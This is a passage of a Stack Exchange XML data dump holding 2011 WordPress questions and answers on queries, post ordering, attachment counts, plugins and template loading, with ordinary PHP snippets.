  <row Id="20721" PostTypeId="2" ParentId="20678" CreationDate="2011-06-22T17:11:42.110" Score="1" ViewCount="" Body="&lt;p&gt;Yes it works!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code, assuming both the databases share the same username &amp;amp; password:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wpdb-&amp;gt;select('mydbname');&#xA;wp_cache_flush();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once done, re-issue the same statements, with the original database name. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't see any performance issue at the moment, maybe because this is done when building a custom form picking data from two posts out of two databases. &#xA;It may impact performance when used on a large amount of rows in batch loop...&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2011-06-22T17:11:42.110" />
  <row Id="20722" PostTypeId="1" AcceptedAnswerId="24012" CreationDate="2011-06-22T17:38:19.710" Score="1" ViewCount="187" Body="&lt;p&gt;I added &lt;code&gt;'supports' =&amp;gt; 'page-attributes'&lt;/code&gt; to my custom post type, and now i have the meta box for page ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i use the argument &lt;code&gt;'sort_column' =&amp;gt; 'menu_order'&lt;/code&gt; with &lt;code&gt;get_pages()&lt;/code&gt; on my custom post type, everything orders properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So why do the custom pages not order properly when i query the posts using &lt;code&gt;query_posts(array('orderby' =&amp;gt; 'menu_order'))&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what can i do to get them to order by the menu order?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the query im using incase anyone wants to see it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $current_term = ($wp_query-&amp;gt;query_vars['section'] &amp;lt;&amp;gt; '') ? $wp_query-&amp;gt;query_vars['section'] : $menu_arr[0]; &#xA;    query_posts(array(  'post_type' =&amp;gt; 'module', &#xA;        'orderby' =&amp;gt; 'menu_order',&#xA;        'tax_query' =&amp;gt; array(array( 'taxonomy' =&amp;gt; 'section', &#xA;                                    'field' =&amp;gt; 'slug', &#xA;                                    'terms' =&amp;gt; $current_term )),&#xA;        'post_parent' =&amp;gt; 0 ));&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="5140" LastEditorDisplayName="" LastEditDate="2011-06-22T22:31:23.037" LastActivityDate="2011-07-25T16:48:17.187" Title="Query menu_order custom post types" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="20723" PostTypeId="1" AcceptedAnswerId="20726" CreationDate="2011-06-22T17:40:48.263" Score="0" ViewCount="40" Body="&lt;p&gt;This is the oddest thing I've ever seen on wordpress. Here's my problem: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a whole ton of text. But the last few lines I have this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt; blockquote&gt;[Laughs] I'm doing the&#xA;  exact same thing I'm doin' live. Plug&#xA;  in, turn it up, turn on the machine&#xA;  and play. I don't overdub anything. I&#xA;  ain't going back and redoing solos. I&#xA;  ain't going back and redoing vocals.&#xA;  It's all live. If you listen, you can&#xA;  hear the guitar pick clicking on the&#xA;  strings while I'm singing! So I'm&#xA;  playing it live just as if I was in&#xA;  front of an audience. And that's the&#xA;  way it feels in the studio when&#xA;  everybody's playing together and&#xA;  you're not going back and fixing&#xA;  anything. Because you know I'm really&#xA;  kind of a stickler for that.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IF I add this line next (without the quotes)... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I try to keep anybody from having to go back and fix anything so it makes them have to play it now, you know?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The entire body of the post disappears.&lt;/strong&gt; Only the title shows up. If I remove that line, the text comes back. If I add &quot;asdf&quot;, the body stays. If I add a random line, the body disappears. I thought maybe it was a phantom html tag hidden in there or something, so I copied and pasted into notepad to clear any potential underlying formatting and it's still doing it. I've never seen anything like it. I've been poking at this thing for hours. I even tried moving the entire contents to a new post. No dice. I erased and rewrote the entire offending section and then some... nothing. We've got several hundred posts and this has never happened. There's a good 20 blockquotes in this post and everything works fine. We don't really have any plugins that scan text or anything that would be screwing with this thing. For the life of me, I can NOT figure out what in the world is going on........&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does ANYBODY have ANY ideas?! &lt;/p&gt;&#xA;" OwnerUserId="6378" LastActivityDate="2011-06-22T17:58:28.080" Title="Content DISAPPEARS when simply adding normal text for ONE POST ONLY" Tags="&lt;wordpress-version&gt;" AnswerCount="1" />
  <row Id="20724" PostTypeId="1" AcceptedAnswerId="20742" CreationDate="2011-06-22T17:53:19.650" Score="0" ViewCount="40" Body="&lt;p&gt;I'm about to upgrade my Wordpress MU installation to wordpress 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I update, I want to find out which blogs use which plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see a way to do that in the UI, is there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What about a query of the mysql database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2011-06-22T21:44:21.263" Title="How can I get a list of plugins and which blogs are using them?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;admin&gt;&lt;sql&gt;" AnswerCount="1" />
  <row Id="20725" PostTypeId="1" AcceptedAnswerId="20831" CreationDate="2011-06-22T17:56:57.050" Score="3" ViewCount="66" Body="&lt;p&gt;I'm not sure if this is the right place to ask for this kind of help since is not an actual question but hopefully I can learn a thing or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm developing a plugin (my first one) inspired in the &lt;a href=&quot;http://www.infinite-scroll.com/&quot; rel=&quot;nofollow&quot;&gt;Infinite Scroll Plugin&lt;/a&gt;, but instead of showing older posts when scrolling down, I'm showing them when you click a &quot;Show more&quot; link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My intention is to make it public but I know there are a lot of things on it that I can improve before doing so, I tested it a bit in a couple themes and it worked fine but I'm not sure how it'll behave in the real world. Here's a link to it on github: &lt;a href=&quot;https://github.com/javiervd/Click-and-Load-Pagination&quot; rel=&quot;nofollow&quot;&gt;https://github.com/javiervd/Click-and-Load-Pagination&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some concerns at the top of my head are:&#xA;- How to handle users including and external jQuery library instead of the WP one? I'm currently queuing WP's jQuery but I'm not sure how good is this.&#xA;- Simplicity? As I said this plugin is based on the Infinite Scroll Plugin so I used a similar but much simpler approach to set the options, hopefully this can be optimized as well.&#xA;- Best practices? This is my first &quot;real&quot; plugin I'm sure I'm not following the best practices out there :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope some of you guys can help me, I'll make sure to mention everyone who does when I release it, feel free to fork/request pulls if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-22T18:13:30.683" LastActivityDate="2011-06-23T11:57:40.067" Title="Help making my pagination plugin better" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;pagination&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="20726" PostTypeId="2" ParentId="20723" CreationDate="2011-06-22T17:58:28.080" Score="1" ViewCount="" Body="&lt;p&gt;Maybe the blockquote or it's containing elements are floated with CSS and by adding one more line, the size of it grows too large to fit in the theme / page layout, and the whole post body gets shifted down or out somewhere where it's not visible anymore.&#xA;&lt;br/&gt;&lt;br/&gt;&#xA;You can try the &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; extension for Firefox, which is an excellent tool for debugging issues like that. But you'll need to know HTML + CSS to take advantage of it.&lt;/p&gt;&#xA;" OwnerUserId="6413" LastActivityDate="2011-06-22T17:58:28.080" CommentCount="1" />
  <row Id="20727" PostTypeId="1" CreationDate="2011-06-22T19:14:14.277" Score="0" ViewCount="24" Body="&lt;p&gt;I've setup  wordpress on AWS. I want to reduce as much network traffic as possible. What services/jobs do I need to disable in Wordpress? &lt;/p&gt;&#xA;" OwnerUserId="2440" LastActivityDate="2011-06-23T04:33:57.490" Title="Disable Outbound Web Requests" Tags="&lt;performance&gt;&lt;network&gt;&lt;fetch-feed&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="20728" PostTypeId="1" CreationDate="2011-06-22T19:43:19.943" Score="0" ViewCount="21" Body="&lt;p&gt;Ok my Wordpress has been driving me crazy today. I have my homepage set up to be a static page, and that page uses a custom page template. I have added additional content to that template, and everything was working fine until today when I went to change some of the content in my template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made my changes and saved the template file, and then checked the home page and it's still showing the version of my template before I made the changes today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I double and triple checked the template file and the file is correct with the new content but the home page still shows the old version of my template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried copying the template into a new template with a different name, but the list of template files on the edit page doesn't even list the new template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I tried switching to a different theme and re-activating my theme, but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas about what's going on and how to fix it? By the way, I'm using WP 3.1.2 and I don't have any caching plugins installed.&lt;/p&gt;&#xA;" OwnerUserId="6416" LastActivityDate="2011-07-22T23:26:01.023" ClosedDate="2011-07-22T23:27:13.713" Title="Custom Page Templates &quot;Frozen&quot;" Tags="&lt;page-template&gt;" AnswerCount="1" />
  <row Id="20729" PostTypeId="1" CreationDate="2011-06-22T19:45:36.920" Score="0" ViewCount="20" Body="&lt;p&gt;I don't know how to make a plugin so I can't do what's suggested here &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15046/how-can-i-make-it-so-the-add-new-post-page-has-visibility-set-to-private-by-defau&quot;&gt;How can I make it so the Add New Post page has Visibility set to Private by default?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so what's alternative ?&lt;/p&gt;&#xA;" OwnerUserId="4078" LastActivityDate="2011-08-21T22:33:07.837" Title="Easiest way to make post private by default" Tags="&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="20730" PostTypeId="2" ParentId="20728" CreationDate="2011-06-22T20:17:54.910" Score="0" ViewCount="" Body="&lt;p&gt;What template file are you using for your Front Page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a &lt;code&gt;front-page.php&lt;/code&gt; template file in your Theme?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-06-22T20:17:54.910" CommentCount="1" />
  <row Id="20731" PostTypeId="1" AcceptedAnswerId="20732" CreationDate="2011-06-22T20:23:09.570" Score="0" ViewCount="46" Body="&lt;p&gt;How do I count the number of media attachments a specific post has?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output example: This post has 22 photos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-22T20:57:14.733" Title="How to count media attachments?" Tags="&lt;attachments&gt;&lt;media&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="20732" PostTypeId="2" ParentId="20731" CreationDate="2011-06-22T20:30:15.440" Score="1" ViewCount="" Body="&lt;p&gt;Use this code if you're in the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = get_children( array( 'post_parent' =&amp;gt; $post-&amp;gt;ID ) );&#xA;$count = count( $attachments );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're not in the loop, substitute &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; with the ID of the specific post.  But that should count all attachments.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-22T20:30:15.440" CommentCount="2" />
  <row Id="20733" PostTypeId="2" ParentId="20729" CreationDate="2011-06-22T20:31:46.157" Score="0" ViewCount="" Body="&lt;p&gt;The alternative would be to find someone else to make a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using WordPress.com (meaning you can't install arbitrary plugins on your site), then you're out of luck.  But for a self-hosted WordPress installation, you'll need to write a plugin and install it on your site.  There are no alternatives when it comes to adding custom functionality.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-06-22T20:31:46.157" />
  <row Id="20734" PostTypeId="1" CreationDate="2011-06-22T20:32:14.710" Score="0" ViewCount="63" Body="&lt;p&gt;I would like to have one specific page on my WordPress blog omit the header .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to wrap that title code from page.php in my WordPress theme in an if clause that specifies the page I do not want the title to appear on? For instance, if page is 135, do not display title, else display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6418" LastActivityDate="2011-07-22T21:25:59.910" Title="How do I choose not to display the title header on a specific page?" Tags="&lt;php&gt;&lt;title&gt;&lt;page-specific-settings&gt;" AnswerCount="1" />
  <row Id="20735" PostTypeId="2" ParentId="20734" CreationDate="2011-06-22T20:42:27.790" Score="1" ViewCount="" Body="&lt;p&gt;Sure, if  you want it by ID (which might or might not be good idea, depending on how likely ID will stay same for a long time - no migrations, etc) that would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( !is_page(135) ) {&#xA;&#xA;    //  code goes here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_PAGE_Page&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags &gt; Page&lt;/a&gt; in Codex for more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternative way would be to do this in some filter, as opposed to editing template files.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T20:42:27.790" CommentCount="5" />
  <row Id="20736" PostTypeId="2" ParentId="20731" CreationDate="2011-06-22T20:57:14.733" Score="0" ViewCount="" Body="&lt;p&gt;My take would be this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;                         'post_parent' =&amp;gt; $post,&#xA;                         'post_type' =&amp;gt; 'attachment',&#xA;                         'fields' =&amp;gt; 'ids',&#xA;                     ) );&#xA;&#xA;$count =  count( $posts );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is no need to query for all post fields if only intent is to count amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that attachment is not necessarily image and that is not easy (possible?) to query for, see &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_attachment_is_image&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_attachment_is_image()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T20:57:14.733" CommentCount="3" />
  <row Id="20737" PostTypeId="2" ParentId="20727" CreationDate="2011-06-22T21:01:46.463" Score="4" ViewCount="" Body="&lt;p&gt;Defining &lt;code&gt;WP_HTTP_BLOCK_EXTERNAL&lt;/code&gt; constant (&lt;code&gt;wp-config.php&lt;/code&gt; is good place to do this) would kill all outgoing network requests, other than those for hostnames, defined in &lt;code&gt;WP_ACCESSIBLE_HOSTS&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.1/wp-includes/class-http.php#L535&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; for details, doesn't seem to be documented in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T21:01:46.463" />
  <row Id="20738" PostTypeId="1" AcceptedAnswerId="20739" CreationDate="2011-06-22T21:16:24.927" Score="0" ViewCount="97" Body="&lt;p&gt;I'm looking to draw a menu listing of the latest &quot;n&quot; number posts, where the number &quot;n&quot; will be a user defined setting stored as an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;n = 5; //Pull the latest 5 posts from the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script I'm currently using (below) pulls all of the posts from the database and then only displays the latest 5 out of that collection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works fine until I decided to sort the list by title. When I do that, rather than sort the latest 5 posts by title, its sorting the entire collection of posts, without regard to when they were posted&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on how I can change this query to only pull the latest &quot;n&quot; posts, then sort by title of those 5 only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;strong&gt;Note&lt;/strong&gt;: I'm really interested in the get_posts() query inside the UL element. The first query ($myquery) is just here to make sure we have posts to display before proceeding.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function recent_posts(){&#xA;    $catHidden=get_cat_ID('hidden');&#xA;    $myquery = new WP_Query();&#xA;    $myquery-&amp;gt;query(array('cat' =&amp;gt; &quot;-$catHidden&quot;,'post__not_in' =&amp;gt; get_option('sticky_posts')));&#xA;    $myrecentpostscount = $myquery-&amp;gt;found_posts;&#xA;    if ($myrecentpostscount &amp;gt; 0){ ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php &#xA;    global $post;&#xA;    if(get_option('mySort') == 'asc'){&#xA;        $sortOrder='title';$sortDirection='asc';&#xA;    }&#xA;    $myrecentposts = get_posts&#xA;    (&#xA;        array&#xA;        (&#xA;            'post__not_in' =&amp;gt; get_option('sticky_posts'), &#xA;            'cat' =&amp;gt; &quot;-$catHidden&quot;,&#xA;            'numberposts' =&amp;gt; get_option('cb2_latest_count'),&#xA;            'orderby' =&amp;gt; $sortOrder,&#xA;            'order' =&amp;gt; $sortDirection&#xA;        )&#xA;    );&#xA;&#xA;    foreach($myrecentposts as  $idxrecent=&amp;gt;$post) { &#xA;        //DRAW THE POST MENU&#xA;    }&#xA;wp_reset_postdata();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-06-23T13:03:28.173" LastActivityDate="2011-06-23T21:57:38.553" Title="How to query the latest 5 posts and sort them by title?" Tags="&lt;theme-development&gt;&lt;wp-query&gt;&lt;get-posts&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="20739" PostTypeId="2" ParentId="20738" CreationDate="2011-06-22T21:20:24.777" Score="5" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$yourquery = new WP_Query('posts_per_page=5&amp;amp;orderby=title');&lt;/code&gt; would do that.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; &lt;em&gt;Added Answer&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$posts = new WP_Query('posts_per_page=5');&#xA;foreach($posts-&amp;gt;posts as $post){&#xA;    $sorted[$post-&amp;gt;ID] =  $post-&amp;gt;post_title;&#xA;}&#xA;asort($sorted, SORT_STRING);&#xA;&#xA;foreach($sorted as $k=&amp;gt;$v){&#xA;        //your loop -- use ID's for each item call&#xA;    the_title($k);&#xA;    the_content($k);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="784" LastEditorUserId="784" LastEditorDisplayName="" LastEditDate="2011-06-23T21:32:16.453" LastActivityDate="2011-06-23T21:32:16.453" CommentCount="4" />
  <row Id="20740" PostTypeId="2" ParentId="20714" CreationDate="2011-06-22T21:24:06.250" Score="1" ViewCount="" Body="&lt;p&gt;The problem is you are not &quot;filling&quot; the custom field with data you are just outputting the value in the edit screen, so you must save or update, and to have that data inside all of your posts you will need to either create a custom query of all the posts and update there meta or manually edit each post. Both options are bad when there are 1500 posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler solution would be to update the data &quot;on the fly&quot; meaning that on your theme file (the one that displays the meta data) create a conditional check if that field exists and if not the update it, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get saved data&#xA;$page_description = get_post_meta($post-&amp;gt;ID,'custom-field-name',true);&#xA;//check if data exists&#xA;if ($page_description){&#xA;//if it exists just echo it out&#xA;   echo $page_description;&#xA;}else{&#xA;//if not , update the post meta with your default value and the echo it out.&#xA;   $default_value = 'This is a sample value that will be put (echo $page_description) into a custom field';&#xA;   update_post_meta($post-&amp;gt;ID,'custom-field-name',$default_value);&#xA;   echo $default_value;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-22T21:24:06.250" CommentCount="9" />
  <row Id="20742" PostTypeId="2" ParentId="20724" CreationDate="2011-06-22T21:44:21.263" Score="0" ViewCount="" Body="&lt;p&gt;take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/plugin-commander/&quot; rel=&quot;nofollow&quot;&gt;Plugin Commander&lt;/a&gt; which is a plugin management plugin for multi-site mode, which allows further control on network-activated plugins.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-22T21:44:21.263" />
  <row Id="20743" PostTypeId="2" ParentId="11717" CreationDate="2011-06-22T21:45:42.617" Score="0" ViewCount="" Body="&lt;p&gt;Not exact answer, but to prevent email change (actual change, not field edit) you could tweak around this action:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'user_profile_update_errors', 'prevent_email_change', 10, 3 );&#xA;&#xA;function prevent_email_change( $errors, $update, $user ) {&#xA;&#xA;    $old = get_user_by('id', $user-&amp;gt;ID);&#xA;&#xA;    if( $user-&amp;gt;user_email != $old-&amp;gt;user_email )&#xA;        $user-&amp;gt;user_email = $old-&amp;gt;user_email;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T21:45:42.617" />
  <row Id="20744" PostTypeId="1" CreationDate="2011-06-22T21:45:58.547" Score="0" ViewCount="57" Body="&lt;p&gt;I need to implement a state-city selection for my users to choose from. Where they first choose their state and then there is a city drop down field that shows only the cities in that state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, users have to type in the state and city for their account. This concerns me because they may not enter the correct names. I would like this in order to keep these values consistent and to make the site more user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought about creating all the states and cities as categories. I tried this which totaled to over 10,300 categories and sort of crashed my site. Certain pages that needed to access the categories would take update 10 minutes to load the page due to the large number of categories it had to process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking a solution to this. I would like them to choose their state from a dropdown list and then based on the state chosen they can pick a city of that state from a dropdown list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need some major help with this. Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2011-08-23T12:33:48.160" Title="Dynamic User State &amp; City selection" Tags="&lt;custom-field&gt;&lt;custom-menus&gt;&lt;location-search&gt;" AnswerCount="1" />
  <row Id="20745" PostTypeId="2" ParentId="20486" CreationDate="2011-06-22T22:01:01.917" Score="1" ViewCount="" Body="&lt;p&gt;In modern WP all of comment form is produced by extensively hook-able &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comment_form&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comment_form()&lt;/code&gt;&lt;/a&gt; function. Also see &lt;a href=&quot;http://ottopress.com/2010/wordpress-3-0-theme-tip-the-comment-form/&quot; rel=&quot;nofollow&quot;&gt;WordPress Theme Tip: The Comment Form tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that you will likely need to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;enqueue scripts&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T22:01:01.917" />
  <row Id="20746" PostTypeId="2" ParentId="19931" CreationDate="2011-06-22T22:16:14.693" Score="1" ViewCount="" Body="&lt;p&gt;Ajax handler runs in completely separate instance of WordPress, it has no access to global variable from your pages and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically there is nothing to rewind here, you need to pass those environment variables in request and query for comments from scratch.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T22:16:14.693" CommentCount="1" />
  <row Id="20747" PostTypeId="2" ParentId="18523" CreationDate="2011-06-22T22:23:32.753" Score="0" ViewCount="" Body="&lt;p&gt;So you want to import textual content and preserve its formatting, as opposed to parsing it into HTML?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose the &lt;code&gt;&amp;lt;pre&amp;gt;&amp;lt;/pre&amp;gt;&lt;/code&gt; tags are meant for exactly this. However I would consider spending osme effort to parse input after all, otherwise there is little merit in having it in WordPress.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T22:23:32.753" CommentCount="1" />
  <row Id="20748" PostTypeId="2" ParentId="19010" CreationDate="2011-06-22T22:29:05.057" Score="1" ViewCount="" Body="&lt;p&gt;The posts query is not recursive by nature. And I don't think that &lt;code&gt;post_parent&lt;/code&gt; accepts multiple IDs, so you will likely need to loop and run this for multiple pages or play with query filters to do this in less requests (if performance becomes an issue).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T22:29:05.057" />
  <row Id="20749" PostTypeId="2" ParentId="19055" CreationDate="2011-06-22T22:38:33.050" Score="1" ViewCount="" Body="&lt;p&gt;As you can see in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-content/themes/twentyeleven/inc/theme-options.php&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt; theme makes some use of &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;, but doesn't include calls like &lt;code&gt;do_settings_fileds()&lt;/code&gt; that would allow you to use add settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would probably try to unhook &lt;code&gt;twentyeleven_theme_options_add_page()&lt;/code&gt; call and fork that and &lt;code&gt;theme_options_render_page()&lt;/code&gt; to extend it with additional options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I think that unlike core Twenty Eleven wasn't declared to be ready yet. Things might change.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-22T22:38:33.050" />
  <row Id="20750" PostTypeId="1" CreationDate="2011-06-22T22:42:38.480" Score="0" ViewCount="7" Body="&lt;p&gt;When I click the pressthis upload button it says loading but stays at the loading status and never actually loads the images from the page for me to choose from. This happens on every browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Up to date install and php via hostgator, default theme.&lt;/p&gt;&#xA;" OwnerUserId="6422" LastActivityDate="2011-06-22T22:42:38.480" Title="PressThis wont upload images - any ideas why?" Tags="&lt;admin&gt;" />
  <row Id="20751" PostTypeId="1" AcceptedAnswerId="20765" CreationDate="2011-06-22T23:07:19.000" Score="0" ViewCount="91" Body="&lt;p&gt;What is the best method to count the number of posts in a post type that have a particular term? I don't believe &lt;code&gt;get_posts&lt;/code&gt; accepts a term query and I have had no luck with &lt;code&gt;new WP_Query&lt;/code&gt;, though I might be doing something wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;    'post_type' =&amp;gt; 'inventory',&#xA;    array(&#xA;        'taxonomy' =&amp;gt; 'status',&#xA;        'terms' =&amp;gt; 'in-stock',&#xA;        'field' =&amp;gt; 'slug'&#xA;    ),&#xA;) );&#xA;$count =  count( $posts );&#xA;echo $count;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-06-23T03:22:32.843" Title="How to count post type that has a particular term?" Tags="&lt;wp-query&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="20752" PostTypeId="1" CreationDate="2011-06-22T23:08:24.273" Score="0" ViewCount="127" Body="&lt;p&gt;I'm working on a plugin that creates a custom post type and I would like to display a custom template without modifying the theme.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the simplified code I'm working with: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('template_include', 'my_custom_template');&#xA;&#xA;function my_custom_template($incFile) {&#xA;    global $wp;&#xA;    global $wp_query;&#xA;&#xA;    if ($wp-&amp;gt;query_vars['post_type'] == 'custom-post-type') {&#xA;&#xA;        $incFile = MY_PLUGIN_TEMPLATES . '/template.php';&#xA;&#xA;    }&#xA;&#xA;    return $incFile;&#xA;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem I'm running into is that when allow_url_include is turned off in a server's php.ini file, this throws a fun little error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_include=0 in &lt;a href=&quot;http://path&quot; rel=&quot;nofollow&quot;&gt;http://path&lt;/a&gt;\to\wp-includes\template-loader.php on line 43&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess the 